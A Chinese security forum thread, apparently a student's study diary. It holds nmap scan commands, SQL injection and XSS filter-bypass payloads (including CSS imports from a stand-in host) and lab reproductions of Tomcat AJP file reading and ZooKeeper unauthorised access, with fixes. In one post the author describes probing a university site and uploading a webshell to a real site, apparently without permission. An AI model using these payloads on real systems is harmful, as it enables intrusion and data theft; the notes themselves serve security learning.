安全矩阵

 找回密码
 立即注册
搜索
楼主: gclome

郝恬学习日记

[复制链接]

839

主题

889

帖子

3559

积分

论坛元老

Rank: 8Rank: 8

积分
3559
 楼主| 发表于 2020-7-11 18:55:25 | 显示全部楼层
nmap笔记
nmap简介
nmap(network mapper,网络映射器)是一款开放源代码的网络探测和安全审核工具代码的。他被设计用来扫描大型网络,包括主机探测与发现、开放的端口情况、操作系统与应用服务指纹识别、WAF识别及常见安全漏洞。它的图形化界面是Zenmap,分布式框架为DNmap。

这里是一个nmap的使用指南,非常详尽https://nmap.org/man/zh/

Nmap的特点:
1、主机发现 - 识别网络上的主机。例如,列出响应TCP/ICMP请求或打开特定端口的主机。
2、端口扫描 - 枚举目标主机上的开放端口。
3、版本检测 - 询问远程设备上的网络服务以确定应用程序名称和版本号。
4、OS检测 - 确定网络设备的操作系统和硬件特性。
5、可与脚本进行脚本交互 - 使用Nmap脚本引擎(NSE)和Lua编程语言。

nmap扫描参数
  1. 输入nmap --help,将显示nmap的用法及其功能
复制代码


扫描命令格式:nmap+扫描参数+目标地址或网段
例如一次完整的nmap扫描如下:
  1. nmap -T4 -A -v ip
复制代码
其中,-A表示使用进攻性(Aggressive)方式扫描;-T4表示指定扫描过程中使用时序(Timing),共有6个级别(0~5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,建议使用T4, -v表示显示冗余(verborsity)信息,有助于让用户了解到当前的扫描状态。

0x03 常用方法:
1、扫描单个目标地址
  1. nmap 202.101.209.228
复制代码



2、扫描多个目标地址
如果目标地址不在同一网段,或在同一网段但不连续且数量不多,可使用该方法
  1. nmap 192.168.0.100 192.168.0.105
复制代码


3、扫描一个范围内的目标网址
可以扫描一个连续网段,中间使用“-”连接
  1. nmap 192.168.0.100-110
复制代码

4、扫描目标地址所在的某个阶段
以C段为例,如果目标是一个网段,则可以通过添加子网掩码的方式扫描,下列命令表示扫描范围为192.168.0.1 ~ 192.168.0.255
  1. <div align="left">nmap 192.168.0.100/24
  2. </div>
复制代码



5、扫描主机列表targets.txt中的所有目标地址
扫描主机列表targets.txt中的地址或网段,此处导入的是绝对路径,如果targets.txt文件与nmap.exe在同一个目录下,则直接引用文件名即可

  1. nmap -iL /root/targets
复制代码


6、扫描除某一目标地址之外的所有目标地址
扫描除192.168.0.105 之外的其他192.168.0.x的地址,扫描结果中没有对192.168.0.105进行扫描
  1. nmap 192.168.0.100/24 -exclude 192.168.0.105
复制代码



7、扫描除一文件中的目标地址之外的目标地址
下面命令表示扫描除了targets.txt文件夹中涉及的地址或网段之外的目标地址。
  1. nmap 192.168.0.100/24 -excludefile /root/targets.txt
复制代码



8、扫描某一目标地址的21、22、23、80端口(扫描指定端口)
  1. nmap 192.168.0.100 -p 21,22,23,80
复制代码


9、对目标地址进行路由跟踪
  1. nmap --traceroute 192.168.0.105
复制代码

10、扫描目标地址所在C段的在线状况
  1. <div align="left">nmap -sP 192.168.0.100/24</div>
复制代码


11、目标地址的操作系统指纹识别
  1. nmap -O 192.168.0.105
复制代码


12、目标地址提供的服务版本检测
  1. nmap -sV 192.168.0.105
复制代码

13、探测防火墙状态
FIN扫描用于识别端口是否关闭,收到RST回复说明该端口关闭,否则就是open或者filtered状态
  1. nmap -sF -T4 192.168.0.105
复制代码
file:///C:\Users\asus\AppData\Roaming\Tencent\Users\2594738584\QQ\WinTemp\RichOle\0(8XJ3X23{T~VBR3{(_PQUC.png


0x03 状态识别
nmap输出的是扫描列表、包括端口号、端口状态、服务名称、服务版本以及协议。通常有如下六种状态。


0x04 脚本介绍
nmap的脚本默认在xx/nmap/scripts文件夹下
nmap的脚本主要有以下几类:

常用脚本


0x05 实例

1、鉴权扫描
使用--script=auth可以对目标主机或目标主机所在的网段进行应用弱口令检测
  1. nmap --script=auth 192.168.0.105
复制代码


2、暴力破解攻击
nmap可对数据库,SMB,SNMP等进行简单密码的暴力破解
  1. nmap --script=brute 192.168.0.105
复制代码

3、扫描常见的漏洞
nmap可以检查目标主机或网段是否存在常见漏洞
  1. nmap --script=vuln 192.168.0.105
复制代码


4、应用服务扫描
nmap具备很多常见应用服务的扫描脚本,例如VNC服务、MySQL服务,Telnet服务,Rsync服务等,此处以VNC服务为例
  1. nmap  --script=realvnc-auth-bypass 192.168.0.105
复制代码

5、探测局域网内更多服务器开启的情况

输入命令即可探测局域网内更多服务开启的情况
  1. nmap -n -p 445 --script=broadcast 192.168.0.105
复制代码

file:///C:\Users\asus\Documents\Tencent Files\2594738584\Image\C2C\R9NA]P)CL]VQJ{ZCOB`65ZX.png

截屏截不完,放了开始和结束的样子

6、Whois解析
利用第三方数据库或资源查询目标地址的信息,例如进行Whois解析

  1. nmap  -script external baidu.com
复制代码





回复

使用道具 举报

839

主题

889

帖子

3559

积分

论坛元老

Rank: 8Rank: 8

积分
3559
 楼主| 发表于 2020-7-14 08:52:58 | 显示全部楼层
SQL注入常见绕过技术

001、大小写绕过注入
   背景:访问id=1',页面报出MySQL错误,当访问id=1 and 1=1时,页面返回“no hack” ,显然被拦截了!说明有关键字被过滤了

   方法:使用关键字大小写的方式绕过,如And ,aNd, AND (任意字母大小写都可以)
             用order by 查询字段数量,被拦截,也可以尝试改成 Order by来绕过

002、双写绕过注入
   背景:访问id=1',页面报出MySQL错误,接着访问id=1 and 1=1 ,页面依然报出MySQL 的错误,但是从错误信息中来看,输入的and 1=1 变成了 1=1 。说明and被过滤了!
   
   方法:使用双写绕过,如 anandd 1=1,当and被过滤后,anandd 变成了and ,所以这时传入数据库的语句是 and 1=1 ,
     若访问id=1 order by 3时,MySQL 的错误信息是"der by 3",所以这里并没用过滤order 整个单词,而是仅过滤or ,因此只需要双写or即可 :oorrder by

003、编码绕过注入
   背景:访问id=1',页面报出MySQL错误,接着访问id=1 and 1=1和 id=1and 1=2时,发现关键字and被拦截。
  
  方法:尝试使用URL全编码的方式绕过拦截。由于服务器会自动对URL进行一次URL编码,所以需要关键词编码两次,这里注意URL编码需选择全编码,而不是普通的URlL编码

004、内联注释绕过注入
   背景:访问id=1',页面报出MySQL错误,当访问id=1 and 1=1时,页面返回“no hack” ,显然被拦截了!说明有关键字被过滤

   方法:尝试使用内联注释绕过。访问id=1/*!and*/ 1=1
005、空格绕过

在注入过程中,空格被过滤了,那么可以使用其他代替空格进行绕过,下面都可以替代空格尝试;
tab
/**/
/*!union*/
/*!50000union*/
%0a %0b(垂直tab) %0c %0d
%20
%2520

006、宽字节绕过
%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在%df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

对《web安全攻防》这本书关于sql绕过的一些方法进行了总结,同时也百度了一些绕过方法!
但是应该不止这些,之后找到还会来补充!

回复

使用道具 举报

839

主题

889

帖子

3559

积分

论坛元老

Rank: 8Rank: 8

积分
3559
 楼主| 发表于 2020-7-16 09:13:46 | 显示全部楼层
xss绕过方法

xss应该是前天看的了,书上介绍了三种绕过方式,我去百度了下,远不止这三种,于是就稍稍的整合了一下
改变大小写
在测试过程中,我们可以改变测试语句的大小写来绕过XSS规则:
比如:<script>alert(“xss”);</script>可以转换为:
<ScRipt>ALeRt(“XSS”);</sCRipT>

关闭标签
有时候我们需要关闭标签来使我们的XSS生效。
比如:“><script>alert(“Hi”);</script>

使用hex编码绕过
我们可以对我们的语句进行hex编码来绕过XSS规则
比如:<script>alert(“xss”);</script>可以转换为:
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%78%73%73%22%29%3b%3c%2f%73%63%72%69%70%74%3e

绕过magic_quotes_gpc
magic_quotes_gpc=ON是php中的安全设置,开启后会把一些特殊字符进行轮换,比如’(单引号)转换为\’,”(双引号)转换为\”,\转换为\\
比如:<script>alert(“xss”);</script>会转换为<script>alert(\”xss\”);</script>,这样我们的xss就不生效了。
针对开启了magic_quotes_gpc的网站,我们可以通过javascript中的String.fromCharCode方法来绕过,我们可以把alert(“XSS”);转换为
String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34,41)那么我们的XSS语句就变成了
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88,83, 83, 34, 41, 59)</script>
String.fromCharCode()是javascript中的字符串方法,用来把ASCII转换为字符串。
最后使用<script>转换后的放到这里</script>包含即可。

利用<>标记注射Html/Javascript
如果用户能随心所欲引入<>标记,那他就能操作HTML标记,然后就能通过<script>标签插入JS恶意脚本了,例如:
<script>alert(‘XSS‘);</script>
当然如果对"<>"和script等进行了过滤,上面这个就无法执行了

利用HTML标签属性值执行XSS
很多HTML标记中的属性都支持javascript:[code]伪协议的形式,这就给了注入XSS可乘之机,例如:
<img src = "javascript:alert(‘xss‘);">
这里即便对传入的参数过滤了<>,XSS还是能发生(前提是该标签属性需要引用文件)

空格/回车/Tab
假设过滤函数进一步又过滤了javascript等敏感字符串,只需对javascript进行小小的操作即可绕过,例如:
 <img src= "java  script:alert(‘xss‘);" width=100>
这里之所以能成功绕过,其实还得益于JS自身的性质:Javascript通常以分号结尾,如果解析引擎能确定一个语句时完整的,且行尾有换行符,则分号可省略
而如果不是完整的语句,javascript则会继续处理,直到语句完整结束或分号。
像<img src= "javascript: alert(/xss/); width=100> 同样能绕过

对标签属性值进行转码
过滤严谨的函数很可能对标签也进行了严格的控制,但是如果用其他形式表示标签,脚本仍能解析却可以绕过过滤
常见的编码方式有:HTML实体编码(&#ASCII),十进制、十六进制、八进制编码,unicode编码及escape编码及使用String.fromCharCode(...)绕过
因此<img src= "javascriptt&#alert(/xss/);">可以实现绕过
另外还可以把、、        等字符插入代码的头部或任意地方

产生自己的事件
如果不能依靠属性进行跨站,那么还可以利用事件处理函数
<input type = "button"  value = "clickme" οnclick="alert(‘click me‘)" />
事件既能让JS脚本运行,自然也可以执行跨站,另外像onerror、onMouseover等都可利用的是事件处理函数

利用CSS跨站剖析
之所以说CSS样式表是个很不错的载体,是因为CSS不需要嵌入到HTML代码中,可以直接从文件或其他地方进行引用. 另外CSS同样隐蔽、灵活,不过不同
浏览器之间不能通用,如:
<div style = "list-style-image:url(javascript:alert(‘xSS‘))">
<link rel = "stylesheet" href ="http://www.xxx.com/atack.css">
<style type=‘text/css‘>@import url(http://www.xxx.com/xss.css);</style>
<style>@import ‘javascript:alert(‘xss‘);‘</style>

绕过过滤规则
大小写混用:<iMgSRC = "JavaScript:alert(0);">
不使用引号或者构造全角字符也能扰乱过滤规则
还有像CSS中/**/会被浏览器忽略,\和\0同样或被浏览器忽略,同样可以用来绕过:
<img src ="java/*javascript:alert(‘xss‘)*/script:alert(1);">

充分利用字符编码
上面说到过编码,这里加以补充,除了像&#ASCII,其实也可以采用�、�、�等形式,同样j的形式也是可以的
<script>eval("\61\6c\65......");<script>
如果使用eval执行10进制形式的脚本则需要配合string.fromcharcode()使用

拆分跨站法
拆分跨站就是像shellcode一样,遇到长度限制不能按正常方式跨站时,通过引入变量多次提交将之连接起来实现跨站,例如:
<script>z=‘document.‘</script>
<script>z=+‘write‘("‘</script>
<script>z=z+‘<script‘</script>
......
<script>eval(z)</script>
另外除了像上面多次提交,也可以引用其他变量如:eval(qUserInfo.spaceName)形式,由于qUserInfo.spaceName是可控变量,因此改变其值就可以绕过长度限制了



回复

使用道具 举报

839

主题

889

帖子

3559

积分

论坛元老

Rank: 8Rank: 8

积分
3559
 楼主| 发表于 2020-7-16 21:08:05 | 显示全部楼层
因为之前自己在尝试一个大学的网站,但是进展了几天,除了一个弱口令外,无其他收获,于是我就想着用awvs去扫描,也不知道自己是不是扫的方法不对,感觉没扫出来什么有价值的东西,于是就想起来了nessus,于是就用这个工具,可是我的nessus有问题,每次打开都是更新插件,但是进度条始终不走,于是乎,就在百度找了一个不错的方案,解决了这个问题
产生这个问题的原因是:

由于一个bug,上述问题因为plugins db大小超过了windows扫描器Nessues的限制导致,因此Tenable在20190731的时候发布了更小的插件源。此bug影响的是Nessus 8.5.2之前的版本,如果更新到了8.5.2没有此问题。1、windows环境
首先需要用管理员身份打开 cmd 窗口
1.1  进入到Nessusd.exe 所在目录
    C:\Windows\system32>cd /d E:\tools\Web\nesses\Nessus8.4.0

1.2  停止Nessus服务
    net stop "Tenable Nessus"

1.3  更新服务
    "E:\tools\Web\nesses\Nessus8.4.0\nessusd.exe" -R

1.4  重新启动服务
    net start "Tenable Nessus"

  今天看了《web安全攻防》这本书的上传部分,没有upload_lab这个靶场涉及的方法全面,附上自己以前写的upload_lab的过关技巧:https://blog.csdn.net/qq_44108455/article/details/94770848 (其实也挺简洁的)。因为看了上传,就想去实战一下上传,找的第一个网站,上传头像,发现可以上传普通图片,而且可以获取上传地址,并能成功访问,接着就上传一句话试试,因为它是白名单,所以我尝试了00截断和apache解析顺序的方法绕过,均无效,访问地址报错如下:

                     
   感觉自己花在实战上的时间挺多的,不过收获甚微!




回复

使用道具 举报

839

主题

889

帖子

3559

积分

论坛元老

Rank: 8Rank: 8

积分
3559
 楼主| 发表于 2020-7-19 07:39:47 | 显示全部楼层
回复

使用道具 举报

839

主题

889

帖子

3559

积分

论坛元老

Rank: 8Rank: 8

积分
3559
 楼主| 发表于 2020-7-20 19:35:55 | 显示全部楼层
这两天在看Metasploit,还没看完,只试了信息收集的那部分,然后把笔记更新在自己的博客里了,直接把链接贴过来。
https://blog.csdn.net/qq_44108455/article/details/107440520
https://blog.csdn.net/qq_44108455/article/details/107459153
https://blog.csdn.net/qq_44108455/article/details/107463364


回复

使用道具 举报

839

主题

889

帖子

3559

积分

论坛元老

Rank: 8Rank: 8

积分
3559
 楼主| 发表于 2020-7-28 15:23:50 | 显示全部楼层
存储过程


百钱买百鸡
  1. create table buy_chicken(

  2. male_chicken int primary key ,
  3. female_chicken int,
  4. little_chicken int,
  5. )
  6. declare @a int;
  7. declare @b int;
  8. declare @c int;

  9. set @a=0
  10. set @b=0
  11. set @c=0

  12. while @a<=20                    --公鸡
  13. begin
  14.   while @b<=(100-5*@a)/3        --母鸡
  15.                 begin
  16.                         set @c =100-@a-@b    --小鸡
  17.                            if (@a*5+@b*3+@c/3=100) and (@c%3!=0)
  18.                                  begin
  19.                                 --print '公鸡的数量为'+ convert(nvarchar(10),@a)
  20.                                 --print '母鸡的数量为'+ convert(nvarchar(10),@b)
  21.                                 --print '小鸡的数量为'+ convert(nvarchar(10),@c)
  22.                                 insert into buy_chicken(male_chicken,female_chicken,little_chicken)values(@a,@b,@c)
  23.                                  end   
  24.                  set @b=@b+1
  25.                   end
  26.                  set @b=0
  27. set @a=@a+1
  28. end
复制代码
运行结果:


[img]file:///C:\Users\asus\Documents\Tencent Files\2594738584\Image\Group2\DS\2T\DS2T5W0M9NQ5[1XG~@O0T$C.png[/img]

排序

  1. declare @a int,@str nvarchar(100),@i int,@j int,@m int, @n int,@q int
  2. create table table_order(     
  3.          id int,
  4.          num int,
  5.          )
  6. set @str='1,3,2,5,4,6';
  7. set @a=len(@str)
  8. set @i=1
  9.         while @i<=(@a+1)/2         
  10.         begin
  11.                  insert table_order(id,num) values(@i,substring(@str,2*@i-1,1))  --将str里的数直接插入表中
  12.                   set @i=@i+1
  13.         end

  14.         select * from table_order   --查询表的初始数据
  15. set @i=1
  16. set @j=1
  17. while @i<=(@a+1)/2
  18.         begin
  19.                  set @m= (select num from table_order where id =@i)
  20.                  set @j=@i+1
  21.                         while @j<=(@a+1)/2
  22.                         begin
  23.                         set @n= (select num from table_order where id =@j )
  24.                         if @m>=@n
  25.                         begin
  26.                         update table_order set num=@m where id=@j
  27.                         update table_order set num=@n where id=@i   
  28.                         end
  29.                         set @j=@j+1
  30.                         end
  31.                 set @i=@i+1
  32. end       
  33. select * from table_order
复制代码
运行结果:

file:///C:\Users\asus\Documents\Tencent Files\2594738584\Image\C2C\Z@%NS0}X$5A8D`7U%SNGW(N.png
file:///C:\Users\asus\Documents\Tencent Files\2594738584\Image\Group2\35\GS\35GS05]K2SUVUI12U(%XY)X.png

回复

使用道具 举报

839

主题

889

帖子

3559

积分

论坛元老

Rank: 8Rank: 8

积分
3559
 楼主| 发表于 2020-8-1 15:34:26 | 显示全部楼层
Aapache Tomcat AJP 文件包含漏洞(CVE-2020-1938) 复现

0x01 漏洞概述
CVE-2020-1938 漏洞是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞。Tomcat 服务器作一个免费的开放源代码的Web 应用服务器,其安装后会默认开启ajp连接器,方便与其他web服务器通过ajp协议进行交互。
该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件,例如可以读取 webapp 配置文件或源代码。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。目前,厂商已发布新版本完成漏洞修复。

0x02 影响范围

受影响版本
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
不受影响版本
Apache Tomcat = 7.0.100
Apache Tomcat = 8.5.51
Apache Tomcat = 9.0.31

0x03 环境搭建
本来想直接在vulfocus拉取镜像,但是发现8009端口貌似没开呀!于是乎就用docker拉取tomcat-8.5.32环境来复现了

docker搜索tomcat镜像
docker search tomcat-8.5.32

拉取镜像
docker pull duonghuuphuc/tomcat-8.5.32


拉取完成后查看是否成功
docker images



运行镜像并映射端口
docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32

并查看是否运行成功
docker ps -a



成功后访问系统地址


nmap一下试试


0x04 使用poc利用漏洞
poc地址:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

在kali中克隆poc脚本到本地
git clone https://github.com/YDHCUI/CNVID-2020-10487-Tomcat-Ajp-lfi.git


python CNVID-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.152 -p 8009 -f WEB-INF/web.xml


至此,我们已成功复现CVE-2020-1938漏洞

0x05 修复方案

临时禁用AJP协议8009端口,在conf/server.xml配置文件中注释掉<Connector port="8009" protocol="AJP/1.3"redirectPort="8443" />;
配置ajp配置中的secretRequired跟secret属性来限制认证;

0x06 参考链接
https://www.cnblogs.com/xyongsec/p/12340606.html
https://www.tqwba.com/x_d/jishu/106658.html











回复

使用道具 举报

839

主题

889

帖子

3559

积分

论坛元老

Rank: 8Rank: 8

积分
3559
 楼主| 发表于 2020-8-1 15:41:48 | 显示全部楼层
本帖最后由 gclome 于 2020-8-1 15:43 编辑

ZooKeeper 未授权访问漏洞(CVE-2014-085) 复现学习

01 ZooKeeper未授权访问漏洞是什么
ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。
ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境
02 漏洞原因
默认安装配置完的zookeeper允许未授权访问,管理员未配置访问控制列表(ACL)。导致攻击者可以在默认开放的2181端口下通过执行envi命令获得大量敏感信息(系统名称、java环境)导致任意用户可以在网络不受限的情况下进行未授权访问读取数据甚至杀死服务。
(原因如下:默认的ACL中未进行限制访问)



用于访问控制的模式有:
(1)world 代表任何用户
(2)auth 不使用任何id,代表任何已经认证过的用户
(3)digest 使用username:password认证,password使用md5哈希之后base64再编码,现改成了sha1加密。
(4)ip 用客户端的ip作为ACL的标识。


03 环境搭建
测试机: Kali  (192.168.133.134)
靶机: Kali(192.168.133.132)
版本:zookeeper-3.4.14

分别在测试机和靶机都安装zookeeper-3.4.14
安装命令如下:

  1. #搭建环境
  2. wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz
  3. tar -xzvf zookeeper-3.4.14.tar.gz
  4. cd zookeeper-3.4.14/conf
  5. mv zoo_sample.cfg zoo.cfg
  6. ../bin/zkServer.sh start # 启动
复制代码

搭建成功  默认端口是2181

04 漏洞证明

尝试连接
  1. ./zkCli.sh -server  192.168.133.132 2181
复制代码
如下图,连接成功




并且存在此漏洞!

获取该服务器的环境
  1. echo envi |nc 192.168.133.132 2181
复制代码
通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。


05 漏洞利用
part 1
  1. stat:列出关于性能和连接的客户端的统计信息。
  2. echo stat |nc 192.168.133.132 2181

  3. ruok:测试服务器是否运行在非错误状态。
  4. echo ruok |nc 192.168.133.132 2181

  5. reqs:列出未完成的请求。
  6. echo reqs |nc 192.168.133.132 2181

  7. envi:打印有关服务环境的详细信息。
  8. echo envi |nc 192.168.133.132 2181

  9. dump:列出未完成的会话和临时节点。
  10. echo dump |nc 192.168.133.132 2181
复制代码


part 2
我们在zk的客户端可以进行节点权限的查看和设置。



从上述操作可以看出,zk新创建的znode默认访问方式为world。我们通过addauth和setAcl给/test节点设置访问权限为digest,操作权限为cdrwa,用户名为user,密码为password。当然,我们使用getAcl是无法获取可访问用户test的明文密码的(要是可以获取明文密码,不又是个漏洞嘛~~)。

另启zk客户端,执行ls /test,发现当前用户已经无法访问/test节点,提示信息为“Authentication is not valid”。解决方法就是addauth添加认证用户了,并且必须使用用户名和密码明文进行认证。

addauth添加digest认证用户user后,即可正常访问/test节点了。

另外,还有一点需要注意,znode的ACL是相互独立的。也就是说,任意不同节点可以用不同的acl列表,互不影响,并且ACL是不可被继承的。
我们在/test下创建leaf节点,可发现,leaf节点的认证方式为world,即任何用户都有访问权限。

06 利用zookeeper可视化管理工具进行连接
下载地址:https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip




07 修复方案
禁止把Zookeeper直接暴露在公网添加访问控制,
根据情况选择对应方式(认证用户,用户名密码,指定IP)配置防火墙策略,
只允许指定IP访问2181端口配置服务ACL限制IP访问
08 参考链接:
https://blog.csdn.net/u011721501/article/details/44062617

https://www.cnblogs.com/0nc3/p/12071281.html
https://xz.aliyun.com/t/6103#toc-7
https://blog.csdn.net/Aaron_Miller/article/details/106049421
https://www.cnblogs.com/ilovena/p/9484522.html

















回复

使用道具 举报

839

主题

889

帖子

3559

积分

论坛元老

Rank: 8Rank: 8

积分
3559
 楼主| 发表于 2020-12-5 15:06:49 | 显示全部楼层
本帖最后由 gclome 于 2020-12-5 15:08 编辑

《加密与解密》第五章——演示版保护技术!

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2021-4-15 21:38 , Processed in 0.025595 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表